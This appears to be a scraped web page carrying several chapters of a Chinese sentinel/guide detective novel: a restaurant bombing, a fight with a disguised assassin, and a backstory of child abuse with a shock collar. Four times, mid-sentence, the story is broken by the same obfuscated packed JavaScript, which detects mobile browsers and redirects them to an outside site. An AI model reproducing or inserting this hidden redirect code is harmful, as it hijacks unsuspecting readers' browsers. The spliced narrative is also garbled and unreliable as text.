;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356916|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。在餐厅开枪当然不是个理智的行为,但少女一点没掩饰要给伦滋一枪的想法。 伦滋牙齿开始发抖:“呃……我不……” “等一下,先别逼他。”就在这时,对面的男人突然打断了她。 少女愣了一下,偏过头,皱着眉,有些疑惑地看过去,但男人只是保持着从容的样子,好像自己的提议再正常不过: “聊天讲究循序渐进,莱蒂斯,总要先从他说得出口的地方聊起,不是吗?而且,我们还有很多别的事情可问——别忘了,我们还有一桩连环杀人案要查。” “耐心点,相信我吧?”他眯起金色的眼睛笑笑,虽然是请求的语气,但他知道自己的理由站得住脚,也知道那个单纯的孩子信任自己,他知道莱蒂斯会答应的。 保伦滋这傻逼是真的麻烦,但这少爷是尼尔森筹码的一部分。莱蒂斯虽然不认同私刑杀人,但有时容易冲动。 尼尔森老觉得她想一枪把这家伙打成下半身瘫痪,他得保证这少爷没有闪失。 一身洁白的莱蒂斯紧盯着他,像是个审判的天使,但她找不出一个惯于撒谎之人的破绽。 于是在她默许的沉默里,尼尔森接过主导权,问道:“那天除了你们四个人,还有别人在吗?” 他指的是哪一天,伦滋心知肚明,他是在问白鸟濒死那天的情况。 但他的表述相当模糊,伦滋的确可以光明正大地回答这个问题,而不激怒拿枪的莱蒂斯。 小少爷的脑子不够灵光,没意识到这是尼尔森隐晦的帮助,但直觉让他抓住了这个机会,跳脱出莱蒂斯的审问: “没,没有……这个是肯定的,我很清楚!” “除了你们之外,他接触过别的人吗?有什么人是特别喜欢他的吗?” “这不可能!”一想到自己买下的向导还有服务别人的可能性,伦滋少爷顿时否认,要不是莱蒂斯挟持着他,他甚至还想锤一拳桌子,“管理人绝对不会允许的,他肯定只接触过我……还有那两个哨兵,不可能还有别人了!” “这就奇怪了,那动手的会是谁?”尼尔森和莱蒂斯对视一眼,“难道这起案件和他其实没有关系吗?我说,霍华德呢,他当时在吗?” “霍华德……啊!对啊!霍华德呢?!”提起这个名字,伦滋突然激动起来,“他失联果然是你们干的吧!你们对他做了什么?” “我们?我们只是正当防卫罢了。”尼尔森摊摊手,“至于他现在怎么样嘛,难说。这就不是我们能决定的了。” “不行…霍华德是我最好的哥们!”伦滋少爷面露愤愤之色,突然有了种站在道德高地上的自信。明明之前没想起关心自己这“好兄弟”的安危,他此刻却义正严辞起来,声音也提高,一副要英勇就义的模样—— “先告诉我他在哪里,否则,我不会再回答你们任何问题!” 哟,尼尔森挑了挑眉,这又是跟我演哪出呢? 27. 第二十六章 显而易见的,伦滋并不是真的关心霍华德。 小少爷现在又悔又怕,又想把这两个侮辱他的家伙杀了。尼尔森可以感觉得出他没心思去关注自己的表面兄弟。 但尼尔森不知道的是,这位少爷并不是独自一人来到餐厅的。 除了霍华德一行人之外,伦滋.赫夫迈的父亲还给他安排了两个哨兵作为保镖,只不过伦滋一直很排斥他们,进入娱乐场合时从来只让他们守在门口。 他来之前是真的相信那个消息是霍华德发的,所以也一如既往地让那两个哨兵保镖留在了餐厅门口。他老觉得这两个家伙是他爹派来盯着他的,还特地骂过他们,不准他们在店外面偷听自己说话。 但现在,这两个哨兵是他唯一的希望了!天呐,快有个服务生或者随便什么人注意到他的状况然后随便弄出点什么动静吧! 只要让那两个哨兵意识到餐厅里有异常,解放听觉视觉或者随便什么觉,伦滋相信他们在十秒内精准爆掉旁边这两个婊子的头根本不成问题! 他必须得拖时间。 然而金色眼睛的男人完全不吃他这一套,他对伦滋装出的重情重义嗤之以鼻:“少爷,也许你还没想明白现在的状况,但现在主动权并不在你身上。回答我们的问题吧,难道你真的想为了霍华德挨枪子吗?” 伦滋当然不想!而且他知道有机会的话莱蒂斯真的会开枪!这婊子看他就像看一个垃圾,应该被一脚踩扁的易拉罐。 只能祈祷的伦滋这么想着,越想越憋屈。纵然正在脑补莱蒂斯肝脑涂地的画面给自己壮胆,他还是害怕莱蒂斯的眼神。 “滴。” 这时,一声小小的电子音像一滴水滴进池塘,伦滋没有注意到,莱蒂斯没有注意到。 只有几个正在用餐的哨兵皱了下眉,随后,他们猛地站起身来。 “轰—————” 不知道是不是伦滋心诚则灵——他真的等来了他梦寐以求的“动静。” 他看见了火焰。 他看见赤红的焰体腾空而起,转眼间覆盖了窗外的城市,像是地狱的缝隙般开裂,翻涌着浑浊的黑色。 巨响、高温、冲击和气浪,谁也分不清它们谁先到达。 他被冲击波推倒在地,和桌椅,和四周的人一起。玻璃,盘子,全都碎了一地。有炽热的温度覆盖了他的皮肤,有破碎的东西飞在空中,爆炸产生的火很快就消散了,而四周也一片狼藉。 他听见了尖叫,但它模糊不清,好像隔了一层玻璃。 “啊……啊啊?” 天花板掉下碎屑,伦滋头晕耳鸣,试探着发出声音。天旋地转中,他支撑起身体,然后才意识到自己是趴着的。 发生了什么? 小少爷脑子宕机,然而求生欲让他下意识地回头,他看见莱蒂斯被震歪到一旁,白色的裙子上灰尘仆仆。 啊,太好了,快跑,得跑…… 窗边碎裂的防弹玻璃和倒在地上不知生死的人中间,伦滋看到了逃脱的机会,他朝着门口看去,朝着那边爬去。 地上有血,他逐渐意识到有人受伤了,他希望那个莱蒂斯也是。 没关系,不要紧,他可是赫夫迈家的小儿子,他的保镖,那两个哨兵,肯定会来救他的。 在他模糊的视线中,他看见穿着西服的保镖冲进门里,但不知为何只来了一个。 保镖神色慌张,他看见了伦滋,他向伦滋走来,但下一秒,他像是断了电一样愣在原地,猛地倒在地上,紧绷着身体,惊恐地喘息着,却像是被什么绞住了似的动弹不得。 这是怎么了?谁干的?那个莱蒂斯吗,还是那个和她一起的男人? 以为自己会得救的伦滋呆呆地看着这一幕,保镖的眼球凸了出来,他想要尖叫。 “少爷,伦滋少爷!这边!”有人在喊他,敲打着他因为爆炸而迟钝的听觉,伦滋看到另一个穿着西装的人冲到他面前。 伦滋看不清他的脸,只知道他头发是灰色的。有了莱蒂斯的前车之鉴,他真的不敢再轻易相信喊自己的人。但他太慌张,太害怕了,而且他百分之百确定,这个声音他认识,这个声音叫过他少爷——这应该就是他的保镖! 太好了太好了太好了!伦滋艰难地起身,往那个人身边跌跌撞撞地走去,保镖伸出手,似乎是想要扶住他。 “哒,哒,哒!” 三下鞋跟点地的声音,一个白色的身影一闪而过。头发散开的,狼狈的莱蒂斯从天而降,抬起腿用力一踢,横空隔开伦滋和保镖。 少女的鞋跟卡住了保镖的动作,这时伦滋才看见一道凶险的反光——这个保镖的手里,不知什么时候握住了一把匕首! 而莱蒂斯,莱蒂斯从不介意让伦滋受伤,多重都不介意,只要他还有一口气去被审判就行了。 但她之所以出手,是因为如果不加阻止,这把刀早该直接捅进伦滋喉咙里面了。 脏刀。 尼尔森的脑子里闪过这个词语。 这是一种隐蔽而凶残的杀人技术,常用于暗杀,通常是让人放松警惕,误以为杀手手上没有东西,但实际上却把武器通过手法藏在暗处,只等一个接近的机会,在任何人都没反应过来的时候一击毙命,然后迅速脱离现场。 杀手? 尼尔森扶着椅子,突如其来的爆炸让他脑子嗡嗡直响。他看见莱蒂斯凭借超常的体能,已经和那个男人缠斗起来,夕阳在窗外依然燃烧得灿烂,璀璨的金红云霞中,两个剪影打得你来我往。 哎哟,这还真是……尼尔森嘲讽地咧开嘴角,之前随口一说会有人爆破,还真成真了。 他几乎立刻推理出爆炸就是这个男人干的,也许莱蒂斯没来得及注意,但尼尔森发现了——爆炸是在伦滋原本预定的那个位置发生的。 这是有预谋的袭击,这个人买通了黑客,知道了伦滋今天会来这家餐厅,并提前准备了炸药。 但因为尼尔森和莱蒂斯横插一脚,伦滋反而远离了爆炸中心。 男人一刀刺向莱蒂斯的咽喉,被灵敏的女孩躲过了,可小姑娘忽然意识到,他的攻击目标根本不是自己。她反身把伦滋踢开,借机对男人连开两枪,都没有没命中。 尼尔森眼睛还花着,看不清男人耳上有没有耳钉,但他知道有这样的反应能力,对方多半是一个哨兵。 莱蒂斯根本不畏惧对方,她截住哨兵的动作,试图打掉哨兵的匕首,却被反制住动作。 对方的手肘击中她胃部,钝痛扩散开来,女孩呼吸一滞。 妈的。尼尔森喘着气,勉强直起身子,到处找自己的手机。 不远处,哨兵转动手臂,一刀扎向女孩的肩膀。莱蒂斯忍着痛转过身,及时一掌击中他手腕,让男人松了劲。 她打掉了哨兵的匕首,却也被哨兵发现机会,转身踩住了她长长的拖尾。 同时,毫不迟疑地,哨兵掏出了一把手枪,指向地上连滚带爬的伦滋。 一位哨兵开枪,几乎百发百中,莱蒂斯眼神一凛,反手拆下系在腰上的拖尾,将男人的小腿缠住,猛地一拉让他失去了平衡。她抽出拖尾,挥向空中,网住盛放的夕阳,挡住了哨兵看向伦滋的视线。 大幅度的动作暴露了她的身体,哨兵看也没看向她那边,突然一伸手,竟然就单手掐住了她的脖子。 “咳咳……” 莱蒂斯反手掐住他手腕,在缩紧的力道里狠狠看着对方。 哨兵毫不在意,另一只手对着布料举起枪。看不见目标,但还是能一击毙命。 忽然,一阵怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356917|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声传入他双耳,哨兵的动作猛然一顿,像是被蛛网缠住。 尼尔森握着手机,按在上面的手指微微发抖。 哈,居然成了。 他知道自己在战斗上帮不上什么忙,他只是在赌。这个哨兵训练有素,按理说一开始莱蒂斯就不会有机会靠偷袭成功拦下他的匕首——他可能有感官缺陷。 尼尔森孤注一掷地赌他的缺陷在听力,会被这不算高明的干扰音频影响。 莱蒂斯没有放过这个机会,仿佛和尼尔森有默契一般,她趁着哨兵愣神,固定住他的掐着自己的手直接开枪,打穿了他的手腕。 在枪声里,她挣脱束缚,扭腰回旋,翻身在半空,狠狠踢在哨兵侧脸,进一步让他远离伦滋。 周围陆续有其他哨兵恢复了过来,但只是带着亲友快速逃离了现场。 增援呢……尼尔森张望,餐厅和大厦的安保都还没有赶到。 不行。 尼尔森的身体因为爆炸而异常沉重,他的心脏剧烈跳动,身上却冷得像淋了凉水。为了他和柯琳斯的交易,伦滋绝对不能死,而莱蒂斯,她带来的慌张感几乎是本能的——不需要用理智去找理由,她绝对不能死。 可是为什么?侦探的脑子飞速运转,这个哨兵提前安装的炸药计算非常精准,他只想要伦滋一个人的命。爆破的冲击很强,但在场的人最多也就是昏迷,受伤,却没有死亡。 远离了原先座位的伦滋并不会被爆破杀死。 所以哨兵发现伦滋不会去靠窗的座位之后,主动对伦滋出手了。 但为什么,他明明有枪,却先用了匕首。 “……” 尼尔森知道为什么。有的黑手党杀手更偏向匕首,是因为它很安静,不会引起注意,如果莱蒂斯没发现他的脏刀,男人就可以悄无声息地结果了伦滋,他甚至可以架着伦滋的尸体离开——一片混乱的现场,没有人会发现伦滋已经死了。 这个男人不想被人发现身份——他不是死士。杀了伦滋后,他还想活下去。 那么—— 一旦注意到了这一点,很多事情就会迎刃而解,剩下的,只要观察就能来求证。 “莱蒂斯!”尼尔森的金瞳里浮动着光彩,爆炸现场灼热的空气滚进他咽喉,他扯着嗓子大喊,“他和我是一样的!” 莱蒂斯绿色的眼睛睁大了一瞬,她俯身冲向男人,一拳揍向他的面部。男人似乎感觉不到手上的疼痛,轻易地躲过,莱蒂斯的手腕却一翻,拽住了他的发尾。 她知道尼尔森是什么意思,而男人的眼中也闪过了一丝震惊。他用枪口对准了她,却被她一个肘击打歪了。 随后,莱蒂斯拽着男人的发尾,借着反向的力量往后一退,然后腾空跃起,翻滚至空中,用力一扯! 少女的裙摆上浮动着落日的光辉,如同坠落的点燃的玫瑰。 她手里抓着的,是一顶灰色的假发—— 男人和尼尔森是一样的,他们都做了伪装! “…………” 惊愕,疑虑,不可置信。 慌张,震惊,本能的焦躁。 伴随着男人真正的短发暴露在众人眼前,起身的尼尔森和落地的莱蒂斯都愣在原地。 漫天的霞光刺破云层,如同洪流翻涌进澳比利克斯,让一片破败的爆炸现场绚烂得几乎荒诞。 在这金色的光彩里,暗杀伦滋的男人抬起了头。 他有黑色的短发,黑色的双瞳,表情阴郁而冷漠,像是死神遮下的罩袍,连落日都无法让他染上色彩。 尼尔森和莱蒂斯知道他的名字。半个圣卢赛特的人都知道他的名字: 海克.雷德,酒神节的哨兵,白鸟的看守,连环分尸案的第一个死者——就这么活生生地站在了他们面前。 28. 第二十七章 时间仿佛静止在了这个瞬间。 这一刻,莱蒂斯愣在原地,伦滋.赫夫迈终于找到机会爬起来,不管不顾地向门口跑去,餐厅外,增援姗姗来迟,一群黑压压的哨兵和护卫手持枪械,脚步匆忙而纷杂,像一片在门外聚集的乌云。 海克.雷德用漆黑的双眼看向莱蒂斯,少女只觉得他的眼睛比照片上更加空洞,更加像两道空无一物的弹孔。 而一滴鲜血从哨兵手腕滑落,时间仍在不知疲惫地向前。莱蒂斯尚在震惊和困惑中无法抽离,只见那黑色的瞳孔忽然间闪到了自己的面前——海克.雷德没有继续射击伦滋,而是对着莱蒂斯出手了。 他动作很快,连莱蒂斯都只能勉强跟上。她格挡住了几次攻击,向后撤了两步,然后踩进了水里。 水里? 少女猛地绷紧身体,她感到热带的河流淹没过来,淌过她的双腿。空气里有潮湿与腐烂的味道,她想努力维持这里是餐厅的认知,但茂密的红树林代替澳比利克斯的房顶,连成一片翠绿的屏障——她站在一片热带雨林的沼泽之中,而海克.雷德从她眼前消失了。 他并不是不在。莱蒂斯清楚,而这也是她紧张的原因:她竟然被拉进了海克.雷德的精神图景! 这是哨兵和向导具像化的精神世界,是由他们主宰的领域,身在其中,哨兵向导的能力都能够被放大。 莱蒂斯知道这并不意味着她不能反击,贸然将人拉入精神图景是一个冒险的选择。这里是哨兵向导的内心世界,如果精神图景被破坏,共感者本人的精神也会受到相应的伤害。 可她只是一个护卫,从未进入过任何人的精神图景。她会格斗,能揍人,现在手里还有一把贝雷塔迷你,但从没有人告诉她,她需要凭借这些去破坏一片广袤的雨林。 莱蒂斯紧握着枪,将嗅觉解放。可嗅觉帮不了她,动静来自她脚下的河流。她感到双腿被什么有力而冰冷的东西缠住,然后猛地被拖到在水中。世界颠倒,水花四溅,莱蒂斯下意识地抬手抵挡住了迎面而来的影子,睁大了眼睛—— 一只碗口粗的亚马逊巨型森蚺昂着头,对她吐出了信子。 尼尔森没有能看清事情发生的顺序。 事情发生得太快,他根本不知道是穿西装的男人先一掌劈在莱蒂斯的后颈,还是突然僵硬的莱蒂斯先失去平衡摔向地面。 但这些都不重要。他只是在奔跑,感谢跑路逃命的经验练出来的速度,他在少女倒地前搂住了她的身体。 她没事。 她的精神屏障完好无损,胸口起伏的心跳也均匀,于是这纤细的身体似乎压垮了尼尔森,让他因爆炸还在发软的双腿跪倒在地。 破碎的顶灯投下暗淡的光线,一片狼藉的餐厅里,金瞳的男人跪在中央,搂着怀里的少女,似乎不知道是该用力把她抱紧,还是轻轻地让她靠在臂弯。 全副武装的哨兵们没有理会这两个被袭击了的人,他们涌入餐厅,追捕引发爆炸的凶手。 而海克.雷德从始至终只留给了他们一个背影。他早已逃开,闪身跑进了写着紧急通道的门后,在那背面,是连通整栋大楼的楼梯。 哎…… 尼尔森深吸一口气,抱起莱蒂斯,缓缓向门外走去。 以惊慌失措死里逃生的伦滋为首,客人们正在向外奔跑,而追击的哨兵们向店内涌去,光鲜亮丽的礼服与板正的黑衣交错,像是两重对冲的洪流将彼此撞碎。 尼尔森就这么抱着怀里洁白的少女,从容地走在这错乱的人群里。他的神色不再轻浮,金色的瞳孔变得肃穆。 他在思考。 说真的,他不太喜欢自己现在这样子。其实早在海克对莱蒂斯出手前,他就知道这个哨兵不会真的伤害他的小姑娘,但当她失去意识的那一瞬间,沸腾的惊慌还是让他本能地冲了上去,去他妈的伦滋,哪怕海克真的回头补枪,他也不会分出半点注意力给他。 侦探在内心叹息。这可真是不理智。 而另一件让他陷入沉思的事情,也正是他知道海克不会下狠手的原因。 在海克.雷德被莱蒂斯揭穿的刹那,他将精神屏障降到了最低。 尼尔森一直等的就是这哨兵动摇的时刻。 海克.雷德,他到底有什么动机,他到底怀着怎样的想法,他接下来是否会继续攻击——如果尼尔森捕捉到了哨兵这一瞬间的情感波动,所有问题的答案,他都能推知一二。 侦探注视着哨兵,却只感到不明所以。 为什么? 忍着爆炸现场纷杂情感带来的冲击,他的确捕捉到了一丝非常微弱的,来自海克.雷德的感情。 然而,站在那里的,死而复生的哨兵,他没有散发出攻击性,也没有爆发疯狂的负面情绪。 他并不恼怒,也并不慌张。他策划了一场谋杀,心中充满的却并不是执着和憎恶。 尼尔森在那一刻接收到的情感波动,只是一阵近乎沉重又急切的,柔软又纯粹的,再常见不过又无比格格不入的—— 对所爱之人的担忧。 “……” 尼尔森拿出老式手机。 如果今天对伦滋的审问顺利,他本来打算用这个向老太婆回报消息。 但现在…… 他对着手机另一边道:“事关之前跟你说的情报。老太婆,用你的权限去查一下一个叫海克.雷德的人。” 莱蒂斯醒来时,有种自己正在河上漂流的错觉。城市的建筑像峭壁一样耸立在两侧,嘈杂的人声如同浪花起伏。 一双金色的眼睛从上而下看下来,对上她有些迷茫的视线。 “还好吗,感觉怎么样?”横抱着她走在街上的尼尔森问,他毫不在意路人投来的频频视线,脸上带着一如既往的笑,“之前看你把人敲晕挺熟练的,我猜这是你头一次被别人敲晕吧?” “……” 莱蒂斯一脸无语地闭上眼睛屏蔽他欠揍的脸,腰部用力,小腿轻轻一摇,翻身跳到了地上,冷静而专业地问道:“我晕过去多久了?” “半个小时左右。”尼尔森指了指还没完全黑下来的天。 “海克.雷德呢?” “当然是跑了,而且跑得可快了。现在新闻上还没有对爆炸案的凶手的报道呢,他应该是成功逃脱了。” “我们现在是在去哪?” “我不知道,肯o基或者麦o劳吧?”尼尔森拍了拍身上脏兮兮的西装,理了下领带,“我不知道你下一步准备怎么做,但我们在澳比利克斯里还啥也没吃呢,人总得吃饭吧。” “我的下一步至少肯定不会是快餐店。”莱蒂斯整理了一下裙摆,自然地走在尼尔森身边,和他一起融入人群,“你难道没有思路吗,尼尔森?” “这倒不是思路的问题,只是如何继续的选择权在你,莱蒂斯。”尼尔森回答,“你是否要公布海克.雷德就是连环碎尸案的凶手,你是否要继续追查他的踪迹?你是想抓捕他,还是想放走他?我不认为我可以替你做决定。” “我想知道事情的真相。”莱蒂斯直视着面前熙熙攘攘的街道,“whodunit(犯罪凶手)只是问题最基本的一部分。经法医检验,海克.雷德的每一块碎尸上的DNA都属于他,可他为什么还活着?我们还不知道howdunit(犯罪手法)。” “以及最重要的,whydunit(犯罪动机):他为什么要做这些事。” “啊,推理的经典三要素。”尼尔森笑笑,“所以你还是打算去找海克.雷德?” “他吗……我不是想去找他。”莱蒂斯说,她若有所思地摸了摸脖颈,之前被海克掐住的地方传来隐痛。 其他部位的淤青也还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356918|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在钝痛。 但海克.雷德明明有枪。 他从始至终没有对莱蒂斯开过枪。 “海克.雷德是个善良的人……吗?”少女放下手,抬起眼,墨绿色的眼睛映着城市的灯光,灿若宝石,“尼尔森,你也清楚吧。我们现在需要找的,根本就不是海克.雷德。” “而是卢娜.雷德。” 入夜后,皇家格兰戈医院的大楼亮起灯光,但一旦想到每一扇窗后都是卧床的病人和值班的医生,这建筑就立刻变得不再赏心悦目。 病理部里,卢娜.雷德正在一个人处理一份快速冷冻切片。 门被推开时,医生的动作顿了一下,却没有抬头。 “至少等我把这份样本检验完。”她说。她不知道这个时候找上门来的到底会是什么人,但她不是很在乎。 “打扰了,卢娜小姐。” 然而回答她的声音熟悉又彬彬有礼。 她有些惊讶地看过去,尼尔森和莱蒂斯站在门前。 绿眼睛的小姑娘目光恳切地看着她:“这次,可以好好和我们讲讲关于海克.雷德的事情了吗?” 病理部的医生小姐拖出了一个医药箱。 这一次,尼尔森依然能感觉到卢娜.雷德压抑了自己的情绪,但她的态度柔软了一些。 莱蒂斯刚刚简单地向她讲述了这两天追查的过程。 “我没想到你们会找来……或者说,我没想到过你们真的会坚持查下去。我以为圣卢塞特没人回在乎他的事情。”卢娜说着,看了眼小姑娘脖子上的掐痕,从里面取出两个长得一样的小药瓶来。 “这个是止痛的,这个是消肿的。”卢娜指了指药瓶,递给莱蒂斯,“我尊敬你,莱蒂斯警员。你们现在……对他有什么看法?” 尼尔森接话道:“谈不上看法,也就知道你本来死了的哥在酒神节打过工,碎了‘自己’又碎了同事的尸体,刚还生龙活虎地去炸了个公子哥而已。” 卢娜黑色的眼睛没有波澜:“这样……这都不重要。他已经失败了。我看见新闻报道,爆炸没有产生伤亡。” “哎呀,说实话,我并不惊讶你早知道他要谋杀伦滋。” 莱蒂斯用手肘捅了尼尔森一下,神色严肃地把拉回话题:“我们只和海克先生有过一面之缘,推断不出更多。您能告诉我们,他到底为什么要这么做吗?” 卢娜低下头。在沉默中,她对莱蒂斯放下心防。 尼尔森感觉到那种深海一样的悲伤又开始弥漫。 “我说过我对他了解不多,我并没有骗你们。”医生的眼睛有些放空,“我只知道一个他告诉我的故事,和他请我帮他的忙。” “你们知道为什么法医检验出的结果里,被碎尸的第一具尸体会是他吗?” 卢娜.雷德拿过那两个小药瓶,将上面的标签撕下来,交换后贴回了瓶子上。 她将两个药瓶摆在尼尔森和莱蒂斯的面前,现在标着止痛药的瓶子里装着消肿药物,标着消肿药物的瓶子里装着止痛药。 “就像这样。” 尼尔森和莱蒂斯对视一眼。 他们都明白了是怎么回事。但侦探露出了笑容,少女却眉头紧皱: “但您是如何做到……” “皇家格兰戈和圣卢塞特的政府有合作关系。作为病理部的医生,我有权限进入政府的DNA库,修改DNA对应的身份。” “所以在海克.雷德杀死第一个人之后,你将第一个死者的DNA信息和海克的对掉了。那个家伙的基因序列对应到了海克的身份下,无论如何检验,都只会得出死者就是海克.雷德的结论——啊,原来这就是你哥找你帮的忙。” 尼尔森说着,浮夸地鼓了两下掌:“真是个聪明的办法,这下那些在网上猜碎尸案为什么唯独找不着头的家伙要失望咯。” 29. 第二十八章 “我没想过会把他的事情讲出来的,我以为我会带着他告诉我的事情走进坟墓。” 卢娜.雷德拢了拢外套。夜色下,风夹杂着河流的气息,在她身边呼啸而过。 奎因河很长,总有一段无法触及城市的灯光,她就行走在这无光的河畔上。 “没有人会在意他的事情。而他的命运,我想也没有人能改变。”卢娜.雷德的表情依然冷冷的,“我感谢你调查他的‘死’,感谢你还在乎这件事的真相,但很遗憾,这一切都只是无用功。” 她转头看向莱蒂斯:“我会告诉你他的故事,仅仅是因为,整个圣卢塞特也许只有你一个把他当成活生生的人,而不是一则饭后消遣的新闻。” “大约半年前,我发现有人在向我学费贷款的账户转款。这些钱金额很大,并且每月规律地到账。正如我之前告诉你的,我怀疑这是黑手党在利用我的账号洗钱,也曾要求银行调查,但没有结果。直到上个月,我的学贷被还清了。” “半年时间,我需要工作五到六年才能还清的债务,就这么消失了,而那个账户也再也没有任何动静,我也没突然被以经济犯罪的名义抓走。” “即使觉得奇怪,我还是不得不相信,这笔钱真的只是来还清我学贷的。我想知道是谁做了这件事,因为我知道这世上不会有平白无故地恩惠。我已经过了相信圣诞老人的年纪,我知道有一天我会为这笔钱付出代价。” “然后,十天前,这个帮我还清学贷的人主动找到了我。但他不是来要我付出代价的。他只是恳求我帮他。而我,我拒绝不了他。” 卢娜抬起眼来,漆黑的瞳孔里映着莱蒂斯的身影:“我一眼就认出了他。他长高太多了,头发也变长了,五官和气质和我记忆中都完全不一样。” “他穿着一件高档的西装,勾着腰,低着头,说话磕磕绊绊,看起来像一个精神状态很差的流浪汉……但我知道那就是他,这个人就是我的哥哥,海克.雷德。” “他太绝望了,他求我帮他一个忙。因为有两件事他不得不做。一件是保护我不被他牵连,另一件是,为他的朋友杀三个人。” “他说这是他唯一能为他的朋友做的事情。我……我不知道离开家后他经历了什么,他不肯告诉我。”卢娜闭了闭眼,“但他说,除了杀人,他什么也不会。” 莱蒂斯和尼尔森没有说话。 他们知道海克.雷德经历了什么,但他们选择了缄默。 在两人赶到皇家格兰戈之前,尼尔森的手机收到了一封匿名邮件,附件里的内容是海客.雷德的档案。 “私家侦探总得有点搞情报的途径吧?不然生意怎么做啊。”尼尔森用一种“这是祖传秘方”的态度敷衍过情报来源的问题,把手机伸到莱蒂斯面前。 比起警局系统里乏善可陈的内容,这份档案相当惊人。除了基本信息外,还有连篇累牍的各方陈述、调查记录和机密归档,比起个人档案,更像是刑事案卷。 时不时出现的黑色方块替代了部分单词和句子,像幕布一样遮挡住了关键词——海克.雷德所涉之事,还牵连到了一些必须加密的机构和人。 一切始于海克.雷德初次觉醒,被送去家乡圣所的时候。 这位精神动物是亚马逊森蚺的哨兵,在刚进入圣所时就得到了A级的评级。他本应该被送往大区的总圣所,培养成特级士兵或中层军官,成为国家和家人的骄傲。 但评级第二天,海克就被带离了圣所。他才觉醒,无法克服感官过载,甚至不知道发生了什么。他还期待醒来时看见家人守在自己身旁。 在被注射了镇定剂后,昏迷的男孩被送上了一辆汽车。他的未来就这么在摇晃车后座里,从万众瞩目滑向了深渊万丈。 海克.雷德醒来时,发现自己和许多个同龄的男孩一起挤在一个昏暗的宿舍里。 一个男人说,他将来会在这里学习。那些孩子,他们都是他的同学,也是一起生活的朋友。 海克没理他。他敏锐地发现自己脖子上被戴上了个项圈。男孩条件反射地抬手,想把它拽下来。 “这是什么……放开我!我要回家!” 男孩站起来,尽量凶狠地喊道,一只尚未长大的森蚺从阴影中猛地窜出来,向男人冲去。这是他第一次见到自己的精神动物,一切行为都只凭借本能。 在经历了觉醒的痛苦之后,他只想回到他的家人身边。 他的母亲,父亲,还有他才六岁的小妹妹,这就是男孩世界的全部。 他在黑暗中盯着那个男人,如今,无光环境里,他的视野也无比清晰。他能看见男人的肢体在森蚺的攻击中卷曲,能听见男人的血流因为压力而加速,而他自己的呼吸在高度紧张中一再加速,如同雷声在轰鸣。 但那高大的男人无视了他,由着蚺科生物缠上自己,几乎是优雅地对他说: “我代表大家向你表示欢迎。” “接下来,我将交给你在这里要学的第一件事,也是最重要的一件事……” 男人说着,按下了手里的一个按钮。海克抓着项圈的手立刻紧绷起来,他跌倒在地,蜷缩成一团。 剧烈的电流无情地鞭笞在他触觉敏锐的皮肤上,然后顺着神经钻进了他的大脑里。 “呃啊——!!” 黑头发的男孩呼吸一滞,然后开始尖叫,在其他孩子木然的目光里开始打滚。森蚺瘫软着掉到地上,转眼就消失了,然而电流一直不停,直到海克的声音像将息的火苗那样微弱,只能绷着身体躺在地上,发出干呕一样的嗬声。 “服从。”男人把玩着手里的遥控,在重新安静下来的房间里说,“明白了吗,你现在要做的事情只有一件,那就是服从。” 海克.雷德的精神图景在七天后就被逼了出来。 在圣所里,探索自己的精神图景是两年后的实践课程。圣所会在确保年幼的哨兵已经准备好了的情况下将他们送往舒适的静音室中开放精神图景,并配备有经验的向导在旁边辅导。如果成功,圣所还会举办一场简单的庆祝仪式以表祝贺。 而十岁的海克.雷德只是在一天早晨被扔进了一间兽笼一样的金属房间。这里的面积狭窄,墙面光滑而明亮,无处可躲。 在房间里面,有一个狂躁状态的成人哨兵,他撕扯着自己的头发和皮肤,状若癫狂。一只双眼发红的土狼咆哮着,在男孩还没站稳的时候就向扑杀了过来。 这只土狼最后死在了亚马逊森林的沼泽里。 小小的海克.雷德鲜血淋漓地倒在地上。鸟鸣声中,河水静静流淌。 他的手臂很疼,右腿也是。那只土狼把他的肉撕了下来,还咬断了他的骨头,他疼得快要昏死过去。 然而他的双手上,一种鲜明的触感仍然在徘徊。这怪异的,强烈的,令人麻木又令人毛骨悚然的感觉吊着他,让他在剧痛中不得不保持清醒。 那个狂躁的哨兵正大张着嘴, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 